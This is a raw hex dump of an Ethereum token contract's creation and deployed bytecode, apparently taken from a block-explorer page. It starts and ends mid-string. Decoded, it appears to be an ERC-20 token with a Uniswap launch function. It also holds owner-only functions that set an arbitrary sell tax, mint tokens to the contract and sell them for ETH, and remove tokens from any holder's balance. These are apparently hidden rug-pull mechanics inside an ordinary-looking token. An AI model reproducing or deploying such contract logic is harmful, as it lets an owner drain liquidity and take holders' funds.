ff1673ffffffffffffffffffffffffffffffffffffffff1614611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ff906124c0565b60405180910390fd5b6111128282611da4565b5050565b600180546111239061233e565b80601f016020809104026020016040519081016040528092919081815260200182805461114f9061233e565b801561119c5780601f106111715761010080835404028352916020019161119c565b820191906000526020600020905b81548152906001019060200180831161117f57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f5919061239e565b9250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112e2578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d99190612078565b60405180910390a35b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611373906124c0565b60405180910390fd5b600a60009054906101000a900460ff16156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390612729565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611551573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115759190612553565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116229190612553565b6040518363ffffffff1660e01b815260040161163f929190612749565b6020604051808303816000875af115801561165e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116829190612553565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161178a96959493929190612772565b60606040518083038185885af11580156117a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117cd91906127e8565b505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186f92919061283b565b6020604051808303816000875af115801561188e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b29190612890565b506001600a60006101000a81548160ff021916908315150217905550565b42841015611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a90612909565b60405180910390fd5b6000600161191f610af9565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a600960008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b6040516020016119a796959493929190612929565b604051602081830303815290604052805190602001206040516020016119ce929190612a02565b6040516020818303038152906040528051906020012085858560405160008152602001604052604051611a049493929190612a39565b6020604051602081039080840390855afa158015611a26573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611a9a57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad090612aca565b60405180910390fd5b85600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051611bb89190612078565b60405180910390a350505050505050565b6008602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051611c469190612b8d565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001611c85959493929190612ba4565b60405160208183030381529060405280519060200120905090565b8060066000828254611cb29190612bf7565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611da0578173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d979190612078565b60405180910390a35b5050565b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611df3919061239e565b92505081905550806006600082825403925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ea457600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e9b9190612078565b60405180910390a35b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ee2578082015181840152602081019050611ec7565b60008484015250505050565b6000601f19601f8301169050919050565b6000611f0a82611ea8565b611f148185611eb3565b9350611f24818560208601611ec4565b611f2d81611eee565b840191505092915050565b60006020820190508181036000830152611f528184611eff565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f8a82611f5f565b9050919050565b611f9a81611f7f565b8114611fa557600080fd5b50565b600081359050611fb781611f91565b92915050565b6000819050919050565b611fd081611fbd565b8114611fdb57600080fd5b50565b600081359050611fed81611fc7565b92915050565b6000806040838503121561200a57612009611f5a565b5b600061201885828601611fa8565b925050602061202985828601611fde565b9150509250929050565b60008115159050919050565b61204881612033565b82525050565b6000602082019050612063600083018461203f565b92915050565b61207281611fbd565b82525050565b600060208201905061208d6000830184612069565b92915050565b6000806000606084860312156120ac576120ab611f5a565b5b60006120ba86828701611fa8565b93505060206120cb86828701611fa8565b92505060406120dc86828701611fde565b9150509250925092565b6120ef81611f7f565b82525050565b600060208201905061210a60008301846120e6565b92915050565b60006020828403121561212657612125611f5a565b5b600061213484828501611fde565b91505092915050565b600060ff82169050919050565b6121538161213d565b82525050565b600060208201905061216e600083018461214a565b92915050565b6000819050919050565b61218781612174565b82525050565b60006020820190506121a2600083018461217e565b92915050565b6000602082840312156121be576121bd611f5a565b5b60006121cc84828501611fa8565b91505092915050565b6121de8161213d565b81146121e957600080fd5b50565b6000813590506121fb816121d5565b92915050565b61220a81612174565b811461221557600080fd5b50565b60008135905061222781612201565b92915050565b600080600080600080600060e0888a03121561224c5761224b611f5a565b5b600061225a8a828b01611fa8565b975050602061226b8a828b01611fa8565b965050604061227c8a828b01611fde565b955050606061228d8a828b01611fde565b945050608061229e8a828b016121ec565b93505060a06122af8a828b01612218565b92505060c06122c08a828b01612218565b91505092959891949750929550565b600080604083850312156122e6576122e5611f5a565b5b60006122f485828601611fa8565b925050602061230585828601611fa8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061235657607f821691505b6020821081036123695761236861230f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006123a982611fbd565b91506123b483611fbd565b92508282039050818111156123cc576123cb61236f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061240c82611fbd565b915061241783611fbd565b925082612427576124266123d2565b5b828204905092915050565b600061243d82611fbd565b915061244883611fbd565b925082820261245681611fbd565b9150828204841483151761246d5761246c61236f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124aa602083611eb3565b91506124b582612474565b602082019050919050565b600060208201905081810360008301526124d98161249d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061254d81611f91565b92915050565b60006020828403121561256957612568611f5a565b5b60006125778482850161253e565b91505092915050565b6000819050919050565b6000819050919050565b60006125af6125aa6125a584612580565b61258a565b611fbd565b9050919050565b6125bf81612594565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6125fa81611f7f565b82525050565b600061260c83836125f1565b60208301905092915050565b6000602082019050919050565b6000612630826125c5565b61263a81856125d0565b9350612645836125e1565b8060005b8381101561267657815161265d8882612600565b975061266883612618565b925050600181019050612649565b5085935050505092915050565b600060a0820190506126986000830188612069565b6126a560208301876125b6565b81810360408301526126b78186612625565b90506126c660608301856120e6565b6126d36080830184612069565b9695505050505050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612713601783611eb3565b915061271e826126dd565b602082019050919050565b6000602082019050818103600083015261274281612706565b9050919050565b600060408201905061275e60008301856120e6565b61276b60208301846120e6565b9392505050565b600060c08201905061278760008301896120e6565b6127946020830188612069565b6127a160408301876125b6565b6127ae60608301866125b6565b6127bb60808301856120e6565b6127c860a0830184612069565b979650505050505050565b6000815190506127e281611fc7565b92915050565b60008060006060848603121561280157612800611f5a565b5b600061280f868287016127d3565b9350506020612820868287016127d3565b9250506040612831868287016127d3565b9150509250925092565b600060408201905061285060008301856120e6565b61285d6020830184612069565b9392505050565b61286d81612033565b811461287857600080fd5b50565b60008151905061288a81612864565b92915050565b6000602082840312156128a6576128a5611f5a565b5b60006128b48482850161287b565b91505092915050565b7f5045524d49545f444541444c494e455f45585049524544000000000000000000600082015250565b60006128f3601783611eb3565b91506128fe826128bd565b602082019050919050565b60006020820190508181036000830152612922816128e6565b9050919050565b600060c08201905061293e600083018961217e565b61294b60208301886120e6565b61295860408301876120e6565b6129656060830186612069565b6129726080830185612069565b61297f60a0830184612069565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b60006129cb60028361298a565b91506129d682612995565b600282019050919050565b6000819050919050565b6129fc6129f782612174565b6129e1565b82525050565b6000612a0d826129be565b9150612a1982856129eb565b602082019150612a2982846129eb565b6020820191508190509392505050565b6000608082019050612a4e600083018761217e565b612a5b602083018661214a565b612a68604083018561217e565b612a75606083018461217e565b95945050505050565b7f494e56414c49445f5349474e4552000000000000000000000000000000000000600082015250565b6000612ab4600e83611eb3565b9150612abf82612a7e565b602082019050919050565b60006020820190508181036000830152612ae381612aa7565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b60008154612b178161233e565b612b218186612aea565b94506001821660008114612b3c5760018114612b5157612b84565b60ff1983168652811515820286019350612b84565b612b5a85612af5565b60005b83811015612b7c57815481890152600182019150602081019050612b5d565b838801955050505b50505092915050565b6000612b998284612b0a565b915081905092915050565b600060a082019050612bb9600083018861217e565b612bc6602083018761217e565b612bd3604083018661217e565b612be06060830185612069565b612bed60808301846120e6565b9695505050505050565b6000612c0282611fbd565b9150612c0d83611fbd565b9250828201905080821115612c2557612c2461236f565b5b9291505056fea26469706673582212205d41f9b92d58c89b5c822ff6cf9b7ae00c76f7b484db6cbfeee32b98e716204664736f6c63430008110033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b41146103ea578063a9059cbb14610415578063c9567bf914610452578063d505accf14610469578063dd62ed3e14610492578063f851a440146104cf57610135565b806370a0823114610305578063715018a6146103425780637541f41c146103595780637ecebe001461038457806393b62e80146103c157610135565b80632e5bb6ff116100f25780632e5bb6ff14610232578063313ce5671461025b5780633644e5151461028657806340a9cb69146102b157806349bd5a5e146102da57610135565b806306fdde0314610137578063095ea7b31461016257806318160ddd1461019f57806323b872dd146101ca5780632dc0562d1461020757610135565b3661013557005b005b34801561014357600080fd5b5061014c6104fa565b6040516101599190611f38565b60405180910390f35b34801561016e57600080fd5b5061018960048036038101906101849190611ff3565b610588565b604051610196919061204e565b60405180910390f35b3480156101ab57600080fd5b506101b461067a565b6040516101c19190612078565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec9190612093565b610680565b6040516101fe919061204e565b60405180910390f35b34801561021357600080fd5b5061021c610a15565b60405161022991906120f5565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612110565b610a3b565b005b34801561026757600080fd5b50610270610ad5565b60405161027d9190612159565b60405180910390f35b34801561029257600080fd5b5061029b610af9565b6040516102a8919061218d565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612110565b610b56565b005b3480156102e657600080fd5b506102ef610ecb565b6040516102fc91906120f5565b60405180910390f35b34801561031157600080fd5b5061032c600480360381019061032791906121a8565b610ef1565b6040516103399190612078565b60405180910390f35b34801561034e57600080fd5b50610357610f09565b005b34801561036557600080fd5b5061036e61105a565b60405161037b9190612078565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a691906121a8565b611060565b6040516103b89190612078565b60405180910390f35b3480156103cd57600080fd5b506103e860048036038101906103e39190611ff3565b611078565b005b3480156103f657600080fd5b506103ff611116565b60405161040c9190611f38565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190611ff3565b6111a4565b604051610449919061204e565b60405180910390f35b34801561045e57600080fd5b506104676112ec565b005b34801561047557600080fd5b50610490600480360381019061048b919061222d565b6118d0565b005b34801561049e57600080fd5b506104b960048036038101906104b491906122cf565b611bc9565b6040516104c69190612078565b60405180910390f35b3480156104db57600080fd5b506104e4611bee565b6040516104f191906120f5565b60405180910390f35b600080546105079061233e565b80601f01602080910402602001604051908101604052809291908181526020018280546105339061233e565b80156105805780601f1061055557610100808354040283529160200191610580565b820191906000526020600020905b81548152906001019060200180831161056357829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106689190612078565b60405180910390a36001905092915050565b60065481565b600080600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b6578281610735919061239e565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610805919061239e565b92505081905550600060055411801561086b5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156108a357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156109235760006005546064856108ba9190612401565b6108c49190612432565b905080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808461091f919061239e565b9350505b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614610a09578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a009190612078565b60405180910390a35b60019150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac2906124c0565b60405180910390fd5b8060058190555050565b7f000000000000000000000000000000000000000000000000000000000000000481565b60007f00000000000000000000000000000000000000000000000000000000000000014614610b2f57610b2a611c14565b610b51565b7fa8b87574299da303cf13b39adc0055139c654e49f060fa1e8274dbd15885b5605b905090565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd906124c0565b60405180910390fd5b6000600267ffffffffffffffff811115610c0357610c026124e0565b5b604051908082528060200260200182016040528015610c315781602001602082028036833780820191505090505b5090503081600081518110610c4957610c4861250f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612553565b81600181518110610d2857610d2761250f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050610d6c3083611ca0565b81600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e95959493929190612683565b600060405180830381600087803b158015610eaf57600080fd5b505af1158015610ec3573d6000803e3d6000fd5b505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f90906124c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60096020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ff906124c0565b60405180910390fd5b6111128282611da4565b5050565b600180546111239061233e565b80601f016020809104026020016040519081016040528092919081815260200182805461114f9061233e565b801561119c5780601f106111715761010080835404028352916020019161119c565b820191906000526020600020905b81548152906001019060200180831161117f57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f5919061239e565b9250508190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112e2578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d99190612078565b60405180910390a35b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611373906124c0565b60405180910390fd5b600a60009054906101000a900460ff16156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c390612729565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600a60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611551573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115759190612553565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116229190612553565b6040518363ffffffff1660e01b815260040161163f929190612749565b6020604051808303816000875af115801561165e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116829190612553565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161178a96959493929190612772565b60606040518083038185885af11580156117a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117cd91906127e8565b505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186f92919061283b565b6020604051808303816000875af115801561188e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b29190612890565b506001600a60006101000a81548160ff021916908315150217905550565b42841015611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190a90612909565b60405180910390fd5b6000600161191f610af9565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a600960008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b6040516020016119a796959493929190612929565b604051602081830303815290604052805190602001206040516020016119ce929190612a02565b6040516020818303038152906040528051906020012085858560405160008152602001604052604051611a049493929190612a39565b6020604051602081039080840390855afa158015611a26573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611a9a57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad090612aca565b60405180910390fd5b85600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051611bb89190612078565b60405180910390a350505050505050565b6008602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051611c469190612b8d565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001611c85959493929190612ba4565b60405160208183030381529060405280519060200120905090565b8060066000828254611cb29190612bf7565b9250508190555080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611da0578173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d979190612078565b60405180910390a35b5050565b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611df3919061239e565b92505081905550806006600082825403925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ea457600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e9b9190612078565b60405180910390a35b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ee2578082015181840152602081019050611ec7565b60008484015250505050565b6000601f19601f8301169050919050565b6000611f0a82611ea8565b611f148185611eb3565b9350611f24818560208601611ec4565b611f2d81611eee565b840191505092915050565b60006020820190508181036000830152611f528184611eff565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f8a82611f5f565b9050919050565b611f9a81611f7f565b8114611fa557600080fd5b50565b600081359050611fb781611f91565b92915050565b6000819050919050565b611fd081611fbd565b8114611fdb57600080fd5b50565b600081359050611fed81611fc7565b92915050565b6000806040838503121561200a57612009611f5a565b5b600061201885828601611fa8565b925050602061202985828601611fde565b9150509250929050565b60008115159050919050565b61204881612033565b82525050565b6000602082019050612063600083018461203f565b92915050565b61207281611fbd565b82525050565b600060208201905061208d6000830184612069565b92915050565b6000806000606084860312156120ac576120ab611f5a565b5b60006120ba86828701611fa8565b93505060206120cb86828701611fa8565b92505060406120dc86828701611fde565b9150509250925092565b6120ef81611f7f565b82525050565b600060208201905061210a60008301846120e6565b92915050565b60006020828403121561212657612125611f5a565b5b600061213484828501611fde565b91505092915050565b600060ff82169050919050565b6121538161213d565b82525050565b600060208201905061216e600083018461214a565b92915050565b6000819050919050565b61218781612174565b82525050565b60006020820190506121a2600083018461217e565b92915050565b6000602082840312156121be576121bd611f5a565b5b60006121cc84828501611fa8565b91505092915050565b6121de8161213d565b81146121e957600080fd5b50565b6000813590506121fb816121d5565b92915050565b61220a81612174565b811461221557600080fd5b50565b60008135905061222781612201565b92915050565b600080600080600080600060e0888a03121561224c5761224b611f5a565b5b600061225a8a828b01611fa8565b975050602061226b8a828b01611fa8565b965050604061227c8a828b01611fde565b955050606061228d8a828b01611fde565b945050608061229e8a828b016121ec565b93505060a06122af8a828b01612218565b92505060c06122c08a828b01612218565b91505092959891949750929550565b600080604083850312156122e6576122e5611f5a565b5b60006122f485828601611fa8565b925050602061230585828601611fa8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061235657607f821691505b6020821081036123695761236861230f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006123a982611fbd565b91506123b483611fbd565b92508282039050818111156123cc576123cb61236f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061240c82611fbd565b915061241783611fbd565b925082612427576124266123d2565b5b828204905092915050565b600061243d82611fbd565b915061244883611fbd565b925082820261245681611fbd565b9150828204841483151761246d5761246c61236f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124aa602083611eb3565b91